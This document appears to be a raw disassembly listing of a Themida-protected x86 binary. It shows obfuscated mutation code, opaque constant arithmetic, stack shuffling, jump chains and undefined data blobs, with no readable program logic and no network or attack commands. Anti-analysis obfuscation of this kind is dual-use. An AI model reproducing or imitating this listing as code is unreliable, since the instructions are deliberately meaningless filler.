		add	eax, edi
		push	ecx
		push	eax
		push	3F831FD7h
		pop	eax
		inc	eax
		xor	eax, 7CCA341Ah
		mov	ecx, eax
		pop	eax
		jmp	loc_566FD4
; ---------------------------------------------------------------------------
		db 51h,	0F7h, 14h
		dd 0E1815924h, 415C2518h, 0BFDE9h
		db 0
; ---------------------------------------------------------------------------

loc_55B185:				; CODE XREF: Themida_:0056461Fj
		mov	esi, esp
		add	esi, 4
		jmp	loc_565E5A
; ---------------------------------------------------------------------------

loc_55B192:				; CODE XREF: Themida_:00554411j
		and	ecx, edx
		mov	edx, [esp]
		jmp	loc_555317
; ---------------------------------------------------------------------------

loc_55B19C:				; CODE XREF: Themida_:00567335j
		mov	ebp, 4
		jmp	loc_55346E
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 83000000h,	0EEE904C4h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B1B7:				; CODE XREF: Themida_:00555BD9j
		pop	ecx
		sub	eax, 0F9BADDF6h
		shr	eax, 3
		sub	eax, 0DFD50B9h
		xor	eax, 0AAF03D36h
		jmp	loc_55F89C
; ---------------------------------------------------------------------------
		db 0BBh
		dd 3D477EBAh, 4245C01h,	0EB815B5Bh, 3D477EBAh, 0E9EBD15Eh
		dd 0A82Ch, 4C681h, 0EE830000h, 24348704h, 2434895Ch, 21A3E9h
		dd 81E38900h, 4C3h, 4EB8100h, 53000000h, 42474FFh, 24048F5Bh
		dd 2434895Ch, 24348B54h, 4C481h, 0C6810000h, 4,	2BC268h
		dd 242C8900h, 0FFFF17E9h, 59CD89FFh, 9152E9h, 81B85000h
		dd 1B1155Ch, 0EF0158C5h, 4EF815Dh, 57000000h, 42474FFh
		dd 1D46E95Fh, 0C3810000h, 4, 0C0F4E950h, 0FE010000h, 673BEE81h
		dd 3C8B4B04h, 4C48324h,	4EE81h,	34330000h, 0BC8CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B282:				; CODE XREF: Themida_:00564150j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_55A972
		push	59CCh
		mov	[esp], ebx
		jmp	loc_56372D
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 240C8900h, 4BD0BF57h, 0F6E9232Eh, 8100000Ch, 4C2h
		dd 4C28300h, 0E9241433h, 0D0B7h, 8B243433h, 48E92424h
		dd 890000A9h, 0DE095DEBh, 0CCA1E9h, 0C3C18100h,	1677D30h
		dd 0C3E981D9h, 57677D30h, 0A1005FBFh, 8BF9293Ch, 0BAE9243Ch
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------

loc_55B2FB:				; CODE XREF: Themida_:00560431j
		add	esi, edi
		sub	esi, 6FA46238h
		jmp	loc_55ABE8
; ---------------------------------------------------------------------------
		dd 6117E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B30E:				; CODE XREF: Themida_:005649C0j
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		push	esp
		jmp	loc_5602F1
; ---------------------------------------------------------------------------

loc_55B31E:				; CODE XREF: Themida_:0055F464j
		pop	edx
		push	edx
		mov	edx, 6D3535E2h
		jmp	loc_55F3A0
; ---------------------------------------------------------------------------
		dw 0D789h
		dd 0D2D4E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B332:				; CODE XREF: Themida_:0056498Aj
		pop	edi
		jmp	loc_556127
; ---------------------------------------------------------------------------

loc_55B338:				; CODE XREF: Themida_:00557430j
		push	63E2h
		mov	[esp], ebx
		mov	ebx, 3256EEFh
		xor	ebx, 3E4762D1h
		not	ebx
		push	ebx
		not	dword ptr [esp]
		jmp	loc_5641C3
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 7E6812C0h, 49FDEA81h, 0EA295079h, 49FDC281h,	78E95079h
		dd 5D000004h, 4C481h, 96E90000h, 52000023h, 2A6CE9h, 66C4FE00h
		dd 28000068h, 0D4E92424h, 5300009Ah, 3B53E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B395:				; CODE XREF: Themida_:00565BC7j
		push	ebp
		mov	ebp, esp
		push	7E61h
		mov	[esp], esi
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_568339
; ---------------------------------------------------------------------------
		db 5Fh
		dd 875BD901h, 0AFE9240Ch, 66000064h, 5124048Bh,	8904EC83h
		dd 0E389241Ch, 4C381h, 0EB810000h, 4, 5C241C87h, 24048F54h
		dd 4240483h, 0E9240C8Bh, 0FFFF8BB4h, 5664E581h,	0C5815F9Fh
		dd 0FFFFFFFFh, 6806EDC1h, 787Dh, 0BB241C89h, 37056A41h
		dd 58E9DD29h, 81FFFF9Fh, 0BE0B2FF7h, 83D7F752h,	48904ECh
		dd 59685524h, 0E922826Ah, 9EE6h, 4C381h, 9EE90000h
		db 0D0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B43B:				; CODE XREF: Themida_:00568B85j
		pop	esi
		pop	ebp
		mov	eax, esi
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5655FF
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0EE8346D6h, 9EC681FFh, 562E4040h, 95EBE9h
		db 0
; ---------------------------------------------------------------------------

loc_55B465:				; CODE XREF: Themida_:00562632j
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		jmp	loc_558C15
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 24248B24h, 0E9242C89h, 0FFFFCFFDh
; ---------------------------------------------------------------------------

loc_55B484:				; CODE XREF: Themida_:00565C06j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 63B04DA8h
		shr	ebx, 2
		add	ebx, 1
		and	ebx, 28E73226h
		push	eax
		mov	eax, 0D861C62h
		jmp	loc_5640EF
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0EEh
		dd 0E741F64h, 0C681EE29h, 0E741F64h, 0FFA1E2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B4C1:				; CODE XREF: Themida_:0055DF26j
		mov	edi, [esp]
		add	esp, 4
		sub	esi, 9A1E531h
		mov	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	ebx, 5D9024A1h
		jmp	loc_567F67
; ---------------------------------------------------------------------------

loc_55B4EE:				; CODE XREF: Themida_:0055A178j
		mov	eax, 4955031Ch
		xor	eax, 698E55A9h
		push	edx
		mov	edx, 2BDB6400h
		jmp	loc_560296
; ---------------------------------------------------------------------------
		db 33h
		dd 1C31241Ch, 3F7E924h,	0F2010000h, 507BE9h, 82CE8100h
		dd 0F708184Ah, 43C681D6h, 17549BAh, 1C77E9F5h, 3C310000h
		dd 243C3324h, 0D174E9h,	0B5E95500h, 0BAFFFFB1h,	427F5E53h
		dd 2826E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B545:				; CODE XREF: Themida_:0055446Ej
		add	ecx, 1E874949h
		add	ecx, edx
		sub	ecx, 1E874949h
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		neg	esi
		inc	esi
		jmp	loc_56053F
; ---------------------------------------------------------------------------

loc_55B560:				; CODE XREF: Themida_:005676C3j
		push	ebx
		push	4
		pop	ebx
		add	eax, ebx
		pop	ebx
		push	eax
		jmp	loc_567AF3
; ---------------------------------------------------------------------------

loc_55B570:				; CODE XREF: Themida_:005654CCj
		push	esi
		jmp	loc_56654F
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 51806C6Dh, 39C1BF57h, 0EF813F61h, 15AD2DD7h,	0E904EC83h
		dd 0FFFFC505h, 5FF8015Dh, 8904EC83h, 63B9240Ch,	68536A2Eh
		dd 64CEh, 413AE9h, 3E6C100h, 8D2AC681h,	0E956906Ch, 3EFAh
; ---------------------------------------------------------------------------

loc_55B5B8:				; CODE XREF: Themida_:00557C95j
		push	0
		sub	[esp], ecx
		jmp	loc_554B14
; ---------------------------------------------------------------------------
		db 0B5h, 46h, 0
aIfyqAD		db 'ëfYQ±-€Á¤',0
		dw 59CBh
		dd 66E0EB80h, 0C0B60F5Ah, 2102E9h, 14316600h, 7ABBE924h
		dd 3C89FFFFh, 2F21BF24h, 0C7812B9Fh, 723C5D6Ah,	0F0E9FA29h
		dd 81000090h, 4C1h, 4C18300h, 5C240C87h, 417C981h, 534135C1h
		dd 16C2E9h, 529FBF00h, 0F8895AF1h, 83243C8Bh, 0C50904C4h
		dd 22E95258h, 1FFFFB7h,	143358C2h, 24143124h, 5C241433h
		dd 0B261E9h, 241C3300h,	7A5BE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B64A:				; CODE XREF: Themida_:00554962j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	47DE705Dh
		jmp	loc_55BE04
; ---------------------------------------------------------------------------
		db 80h
		dd 0D300F2EAh, 76EB805Ah, 0C380C328h, 5EEB8076h, 0C0E6B652h
		dd 0F68003EEh, 75C680FEh, 8013EB80h, 0F30085C3h, 8085EB80h
		dd 148B13C3h, 0D1CDE924h, 0E95AFFFFh, 43E4h, 2EAF181h
		dd 0E9C13464h, 10E98102h, 890591D9h, 0F70159CEh, 6024E9h
		dd 0FEE68100h, 0E9042D40h, 0B5D9h
; ---------------------------------------------------------------------------

loc_55B6B8:				; CODE XREF: Themida_:0056012Bj
		mov	edi, esp
		add	edi, 4
		jmp	loc_561FA1
; ---------------------------------------------------------------------------

loc_55B6C5:				; CODE XREF: Themida_:00554AD4j
		sub	edx, 4874201Ah
		pop	eax
		jmp	loc_555F77
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0B8505E54h, 66CD05D8h, 8D5E955h, 0BB530000h,	4, 9D6BE9h
		db 0
; ---------------------------------------------------------------------------

loc_55B6ED:				; CODE XREF: Themida_:005617B3j
		mov	edi, 211A08EEh
		shl	edi, 1
		xor	edi, 3A5B47AEh
		push	ebp
		push	ecx
		push	esi
		jmp	loc_560314
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 56ED524Ch, 83241C8Bh, 0EB8104C4h, 60FB6723h,	0C381F301h
		dd 60FB6723h, 0FFA137E9h, 243C89FFh, 8817E954h,	0BA520000h
		dd 4, 1620E9h, 24043300h, 6624248Bh, 9C243CD3h,	0FF7960E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B745:				; CODE XREF: Themida_:0055BB07j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_562681
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 11C1E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B756:				; CODE XREF: Themida_:00559A27j
		push	dword ptr [esp]
		pop	eax
		push	6005h
		mov	[esp], esi
		push	esp
		jmp	loc_55F76F
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Fh,	4C4835Ch, 4C381h, 0BF570000h, 2
		dd 0E95FFB01h, 6Dh
; ---------------------------------------------------------------------------

loc_55B788:				; CODE XREF: Themida_:00566758j
		sub	ebp, eax
		sub	ebp, 615175A1h
		sub	ebp, 5FE532F6h
		pop	eax
		add	ebp, 4890530Ch
		mov	esi, ebp
		pop	ebp
		sub	esi, 0E031869h
		add	esi, ebx
		add	esi, 0E031869h
		pop	ebx
		dec	esi
		shr	esi, 1
		dec	esi
		shr	esi, 8
		xor	esi, 2F8921h
		jmp	loc_554588
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 5
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B7C7:				; CODE XREF: Themida_:0055DF9Ej
		mov	edi, 733838A1h
		inc	edi
		push	eax
		mov	eax, 6DD71065h
		jmp	loc_558C97
; ---------------------------------------------------------------------------
		dd 0BE243489h, 0C6CB3240h, 81E9F229h, 81000079h, 6812C0EAh
		dd 242C8B7Eh, 4342E9h, 74FF5300h, 1C8B0424h, 4EC8324h
		dd 89241489h, 4C281E2h,	55000000h, 4BDh, 1AC28100h, 0E9778112h
		dd 0FFFFDE35h, 28BAh, 0EFC28100h, 0E95B623Fh, 4CF9h, 0C058E128h
		dd 0D1F604E1h, 0E980C1FEh, 0E9672C7Ch, 0B1C3h, 4123F181h
		dd 0CD3105CDh, 0E9215F59h, 83242C8Bh, 0E9C104C4h, 7F9CE900h
		dd 0C4830000h, 8D07E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B862:				; CODE XREF: Themida_:005594A1j
		pop	ebp
		add	esp, 4
		jmp	loc_56343F
; ---------------------------------------------------------------------------
		db 0FFh
		dd 37E92434h, 52FFFF85h, 60DBE9h
		db 0
; ---------------------------------------------------------------------------

loc_55B879:				; CODE XREF: Themida_:0055F150j
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		and	eax, ebx
		jmp	loc_567777
; ---------------------------------------------------------------------------
		dd 33241431h, 248B2414h, 2404D324h, 97EBE99Ch, 0EA290000h
		dd 84F8E9h, 68665C00h, 89661140h, 8E92414h, 88FFFFDFh
		dd 0DC285BFCh, 0FFAD2AE9h, 0DFF75FFFh, 0BFEE781h, 0EF8159A4h
		dd 200016h, 34FFFD01h, 0D2E95F24h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B8D7:				; CODE XREF: Themida_:005677FFj
		add	ecx, 4
		jmp	loc_55D2B3
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 65E9240Ch, 4600004Eh, 128AC681h, 814E6161h, 586D17EEh
		dd 0C6814E0Dh, 6734F7AAh, 0FFC425E9h, 241C33FFh, 5624248Bh
		dd 0C681E689h, 4, 4C681h, 8CE90000h, 8BFFFFC0h,	8950241Ch
		dd 405E0h, 0C0830000h, 24048704h, 0FFF3B9E9h, 329F68FFh
		dd 2C890000h, 0F353E924h, 8B66FFFFh, 89522414h,	4BE56E2h
		dd 1000000h, 24348BF2h,	90E6E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B959:				; CODE XREF: Themida_:0055F07Ej
		mov	[esp], eax
		mov	eax, 4
		mov	edx, eax
		pop	eax
		push	esi
		jmp	loc_561613
; ---------------------------------------------------------------------------
		dw 0EA01h
		dd 81CA015Dh, 0F631F0EAh, 0D1C28170h, 59453871h, 0FFCF9BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B981:				; CODE XREF: Themida_:0055D695j
		pop	edi
		add	esp, 4
		jmp	loc_566466
; ---------------------------------------------------------------------------

loc_55B98A:				; CODE XREF: Themida_:0055BAE6j
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		push	69h
		jmp	loc_55D9AD
; ---------------------------------------------------------------------------

loc_55B999:				; CODE XREF: Themida_:0055785Cj
		add	esp, 4
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5616EA
; ---------------------------------------------------------------------------
		dw 5F5Fh
		dd 2474FF50h, 48F5804h,	24248B24h, 0CD46E950h, 9BB20000h
		dd 585AD300h, 0E9E78957h, 65Bh,	83240C8Bh, 0D82804C4h
		dd 0FEEAB551h, 9EDBE9CDh, 0C4830000h, 242C3304h, 0C6D9E9h
		dd 58C72900h, 0A198E9h,	0BFF18100h, 55047A0Fh, 0FFA8EDE9h
		dd 2DE952FFh, 0BE00003Dh, 55E3057Fh, 0FFD026E9h, 1248B9FFh
		dd 0CA314210h, 81240C8Bh, 4C4h,	5AD70100h, 4EF81h, 0C2E90000h
		dd 0AD000018h, 2BC7BA52h, 0BB5304FCh, 1, 5C4C281h, 0DA0164CCh
		dd 5D95BD55h, 0DDF75EAAh, 9F6FE9h, 24343300h, 0C306E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55BA56:				; CODE XREF: Themida_:00559D8Fj
		not	ebx
		add	ebx, 335121ECh
		mov	edi, ebx
		jmp	loc_5619F6
; ---------------------------------------------------------------------------
		db 0Fh,	0C8h, 68h
		dd 2659h, 0E9240489h, 0FFFF7631h, 0D8C2E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BA7A:				; CODE XREF: Themida_:005590C3j
		sub	eax, 1AEB2CA6h
		push	ebx
		mov	ebx, 0
		jmp	loc_55FB58
; ---------------------------------------------------------------------------
		dw 0B353h
		dd 54B55158h, 0EA3099B2h, 0D928E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BA9A:				; CODE XREF: Themida_:0055D2D9j
		pop	edx
		add	esi, 2
		xchg	esi, [esp]
		jmp	loc_561CC2
; ---------------------------------------------------------------------------

loc_55BAA6:				; CODE XREF: Themida_:00568A16j
		sub	ecx, 0FD81EA9Eh
		jmp	loc_56751B
; ---------------------------------------------------------------------------
		db 59h,	0FFh, 34h
		dd 0C4815F24h, 4, 34FFF021h, 89565E24h,	4C681E6h, 83000000h
		dd 348704C6h, 0B1B5E924h, 0EA81FFFFh, 6DFC7262h, 0D4E9FA01h
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55BAE3:				; CODE XREF: Themida_:0055EB8Cj
		push	dword ptr [esp]
		jmp	loc_55B98A
; ---------------------------------------------------------------------------
		db 0D1h
		dd 5D8F7E0h, 73F3FCB8h,	8358C601h, 343304C6h, 80A4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BB02:				; CODE XREF: Themida_:00563CA2j
		xor	eax, 4142430h
		jmp	loc_55B745
; ---------------------------------------------------------------------------
		dd 0E953D2F7h, 85ADh, 0E924048Fh, 721Dh
; ---------------------------------------------------------------------------

loc_55BB1C:				; CODE XREF: Themida_:005670D5j
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55449E
; ---------------------------------------------------------------------------
		dw 5452h
		dd 4C2815Ah, 53000000h,	4BBh, 5BDA2900h, 5C241487h, 0C7E7E954h
		dd 0D7F7FFFFh, 5EFC147h, 4310CF81h, 0EFC110D7h,	0F1E95004h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55BB57:				; CODE XREF: Themida_:0056303Cj
		pop	ecx
		shr	edx, 8
		push	eax
		push	7B3h
		mov	[esp], edi
		mov	edi, 5D877983h
		neg	edi
		xor	edi, 0A21210E7h
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	edx, eax
		pop	eax
		jmp	loc_55C171
; ---------------------------------------------------------------------------

loc_55BB84:				; CODE XREF: Themida_:0055E2DEj
		pop	ebx
		push	ebp
		mov	ebp, esp
		jmp	loc_564162
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 8Bh
		dd 5B097F6Fh, 4B5A6857h, 0C890000h, 486BB924h, 0C18156CCh
		dd 0A933B797h, 4E9CF89h, 5B000006h, 4589F281h, 0C781E67Fh
		dd 495E01A8h, 0EF81D701h, 495E01A8h, 858CE95Ah,	3166FFFFh
		dd 143166EAh, 14336624h, 0FA07E924h, 815DFFFFh,	0AC5086EAh
		dd 81DA0168h, 0AC5086C2h, 0EA835B68h, 54C0E904h, 0AEE90000h
		dd 87FFFF74h, 7A01E9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BBFE:				; CODE XREF: Themida_:00561556j
		sub	ecx, 0FFFFFFFFh
		push	eax
		mov	eax, 0DFD9B8F7h
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		and	eax, ecx
		jmp	loc_55A8DE
; ---------------------------------------------------------------------------
		dd 4C181h, 0E9830000h, 240C8704h, 2404895Ch, 0E10AC8B8h
		dd 0F53A051Fh, 0C701E01Eh, 243C8758h, 6624248Bh, 68240C8Bh
		dd 4CC9h, 4E46E9h
		db 0
; ---------------------------------------------------------------------------

loc_55BC4D:				; CODE XREF: Themida_:0056615Bj
		sub	ebx, 0D5B0492h
		jmp	loc_566EC4
; ---------------------------------------------------------------------------
		dd 0EC815966h, 4, 57241C89h, 0E904EC83h, 0B59Eh, 31242C33h
		dd 2C33242Ch, 3C895C24h, 2F2F6824h, 0E95F5917h,	0DA7h
		dd 5568AEB2h, 89000003h, 3DE92404h, 81FFFFA2h, 0CD0740F5h
		dd 52BB5368h, 29108B2Fh, 0DCE95BDDh
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55BCA7:				; CODE XREF: Themida_:0055DE13j
		pop	dword ptr [esp]
		pop	esp
		push	750Fh
		jmp	loc_5636C6
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 5B000000h, 93AAE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BCC2:				; CODE XREF: Themida_:0056576Bj
		mov	edx, [esp]
		add	esp, 4
		add	edi, eax
		pop	eax
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_557C84
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 81h
		dd 4C7h, 4FD3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55BCE6:				; CODE XREF: Themida_:00563C35j
		mov	[esp], ebx
		mov	ebx, 38E50193h
		jmp	loc_55957C
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EB8106E3h, 9C02EB0Dh, 815BDA21h, 0E037D4F2h, 8BD7291Bh
		dd 0C4832414h, 0D09CE904h, 0FCBDFFFFh, 0E965E25Dh, 0FFFF7DEFh
		dd 2C481h, 0C9800000h, 80D1F679h, 0C3803EF1h, 51CB2893h
		dd 0C58042B5h, 96C580A2h, 0FE0AE580h, 0AE4DE9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BD42:				; CODE XREF: Themida_:00559B06j
		pop	edx
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	209Fh
		mov	[esp], ecx
		jmp	loc_5689CF
; ---------------------------------------------------------------------------

loc_55BD5D:				; CODE XREF: Themida_:00559939j
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	ebp
		push	ecx
		push	edi
		xor	dword ptr [esp], 1C423169h
		pop	ecx
		xor	ecx, 1C423169h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5568EF
; ---------------------------------------------------------------------------
		dw 0E181h
		dd 4E072099h, 7501C181h, 0EC81079Ah, 4,	0BD242C89h, 0A4722D2h
		dd 1C28C581h, 0ECE912B0h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55BDA7:				; CODE XREF: Themida_:0055B030j
		add	ecx, esi
		pop	esi
		jmp	loc_555E21
; ---------------------------------------------------------------------------
aCteSui		db '%CTe#éî©',0
		dd 5DEB0100h, 0A47DE950h, 77FF0000h, 19589D1Ch,	0E99C2404h
		dd 0FFFF72D5h, 202CF000h, 8E72E9h
		db 0
; ---------------------------------------------------------------------------

loc_55BDD9:				; CODE XREF: Themida_:005663ABj
		shl	esi, 1
		xor	esi, 492D4580h
		xor	esi, 0BC06FAC9h
		add	ecx, esi
		pop	esi
		sub	ecx, edi
		push	7310h
		mov	[esp], ebp
		mov	ebp, 4E026B21h
		add	ebp, 1DDAADAEh
		jmp	loc_564C19
; ---------------------------------------------------------------------------

loc_55BE04:				; CODE XREF: Themida_:0055B656j
		pop	eax
		or	ecx, eax
		jmp	loc_564F01
; ---------------------------------------------------------------------------

loc_55BE0C:				; CODE XREF: Themida_:0055CD3Bj
		push	56216332h
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 56216316h
		jmp	loc_55EC24
; ---------------------------------------------------------------------------

loc_55BE25:				; CODE XREF: Themida_:00559D4Aj
					; Themida_:00561D71j
		push	esi
		jmp	loc_556829
; ---------------------------------------------------------------------------
		db 57h
		dd 6A49F3BFh, 5E6FE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55BE36:				; CODE XREF: Themida_:005671B3j
		add	al, 47h
		jmp	loc_565728
; ---------------------------------------------------------------------------

loc_55BE3D:				; CODE XREF: Themida_:0055AC90j
		pop	ebx
		sub	ch, 0D6h
		sub	ch, 0BDh
		add	dl, 0B5h
		add	dl, ch
		sub	dl, 0B5h
		pop	ecx
		sub	ch, dl
		pop	edx
		add	ch, dh
		add	ch, 99h
		mov	edx, [esp]
		add	esp, 4
		xor	al, ch
		pop	ecx
		push	edx
		jmp	loc_5575B3
; ---------------------------------------------------------------------------
		db 33h
		dd 575C241Ch, 14403668h, 243C8B2Eh, 5004C483h, 0FFFFFFB8h
		dd 58C729FFh, 2CE168h, 24048900h, 3043E9h
		db 0
; ---------------------------------------------------------------------------

loc_55BE8D:				; CODE XREF: Themida_:00564CFBj
		xchg	ecx, edx
		jmp	loc_55A5E0
; ---------------------------------------------------------------------------

loc_55BE94:				; CODE XREF: Themida_:0055DCC1j
		add	ebp, 4
		jmp	loc_564C96
; ---------------------------------------------------------------------------
		db 5Dh
		dd 105h, 0FFFF0500h, 0E0D1FFFFh, 9242E9h, 24148900h, 8850BDB2h
		dd 58C188D0h, 0FFE422E9h, 5FF829FFh, 8324348Bh,	642D04C4h
		dd 2915533Fh, 3F6405D8h, 56051553h, 811CA649h, 4ECh, 24348900h
		dd 78B8E957h, 0E9500000h, 8FAAh
; ---------------------------------------------------------------------------

loc_55BEF0:				; CODE XREF: Themida_:00567F79j
		push	edi
		mov	edi, 59AA1C94h
		jmp	loc_5680D2
; ---------------------------------------------------------------------------
		db 4
		dd 2CC800CAh, 1D0459CAh, 1D2CD828h, 63E46866h, 240C8966h
		dd 7D0479B5h, 7D2CE828h, 240C8B66h, 4E82E9h
		db 0
; ---------------------------------------------------------------------------

loc_55BF21:				; CODE XREF: Themida_:00562EAFj
		sub	ebx, eax
		add	ebx, 3474356Fh
		jmp	loc_568837
; ---------------------------------------------------------------------------
aB0		db 'ÁÜ0',0
aS0_0		db '()Êé¾0',0
		dw 5200h
		dd 84450BBAh, 0CA814A59h, 3C09581Dh, 1AE9DAF7h,	53FFFF94h
		dd 0FFF27AE9h, 240489FFh, 0E952EBB0h, 7EF1h, 0FE56F380h
		dd 7EBC0CBh, 0FF7FE9E9h, 0E9DFF7FFh, 0FFFF96A4h
; ---------------------------------------------------------------------------

loc_55BF74:				; CODE XREF: Themida_:00564AEAj
		mov	[esp], ebx
		jmp	loc_55C6DF
; ---------------------------------------------------------------------------

loc_55BF7C:				; CODE XREF: Themida_:00564EB0j
		push	4C61h
		jmp	loc_565E37
; ---------------------------------------------------------------------------

loc_55BF86:				; CODE XREF: Themida_:00565008j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55AEF6
; ---------------------------------------------------------------------------
		db 0BEh, 0A6h, 0Bh
		dd 0CE81411Fh, 3A6A24F7h, 2A7FC681h, 0BF579A7Dh, 76C524Bh
		dd 0FFA02AE9h, 0C15CB9FFh, 0B2E9F49Ah, 530000C1h, 0E71F0CBBh
		dd 0D3F7433Ch, 386BE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55BFC6:				; CODE XREF: Themida_:00560705j
		add	dword ptr [esp], 4
		pop	ebx
		push	esi
		push	edx
		mov	edx, 1B3255C4h
		inc	edx
		push	ebx
		jmp	loc_5588FE
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 4
		dd 8129AC43h, 4F1B9AEFh, 5EFC15Ch, 1D0EF81h, 0F7816320h
		dd 0AC54B379h, 3B1CE9h,	0A6BA5200h, 5550A671h, 0F6FB23BDh
		dd 5DEF892Ah, 4276E9h, 91C58100h, 6816F142h, 1695h, 0BF243C89h
		dd 3C802D56h, 37E9FD01h, 81FFFFC5h, 4C7h, 4EF8300h, 8B243C87h
		dd 14892424h, 8050B224h, 0C38014C2h, 825EE98Ah,	0CA68FFFFh
		dd 89000016h, 45E92414h, 68000094h, 82Eh, 0B8240489h, 2
		dd 6C39C281h, 0C2012201h, 3F9E68h, 241C8900h, 0FF8E52E9h
		dd 33F6BBFFh, 0DF012D4Fh, 81EF015Bh, 4F33F6EFh,	11EF812Dh
		dd 0E9575045h, 0FFFFF014h, 6FBDE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55C096:				; CODE XREF: Themida_:0055A29Ej
		add	esp, 4
		add	[eax], esi
		mov	eax, [esp]
		jmp	loc_56687E
; ---------------------------------------------------------------------------
		db 83h
		dd 0E95A04C4h, 4C19h, 4D5C281h,	0EA0130D5h, 4D5EA81h, 0EA8130D5h
		dd 58F4685Bh, 3690EA81h, 26E9353Eh
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55C0CB:				; CODE XREF: Themida_:00559E22j
		push	edi
		jmp	loc_557508
; ---------------------------------------------------------------------------

loc_55C0D1:				; CODE XREF: Themida_:0055E563j
		push	edi
		push	eax
		mov	eax, 6E979BBh
		jmp	loc_554A4F
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4Ah
		dd 1C68BB9h, 0E7C15EF7h, 4A4E905h, 0F7480000h, 53C425D0h
		dd 2F35251Fh, 31B20DBEh, 24048BC5h, 4C481h, 0ED810000h
		dd 55CB74B4h, 0C581C501h, 55CB74B4h, 24448158h,	6B485A04h
		dd 24448163h, 2A728904h, 8191E906h, 0C3000000h,	681EC380h
		dd 6C87h, 0B6241489h, 80EED098h, 54576BE6h, 4BA525Fh, 1000000h
		dd 0EF835AD7h, 243C8704h, 8924248Bh, 3EB42404h,	5DF2E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C15D:				; CODE XREF: Themida_:005620CBj
		add	edi, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55AECC
; ---------------------------------------------------------------------------

loc_55C171:				; CODE XREF: Themida_:0055BB7Fj
		mov	ebp, edx
		pop	edx
		add	edi, ebp
		pop	ebp
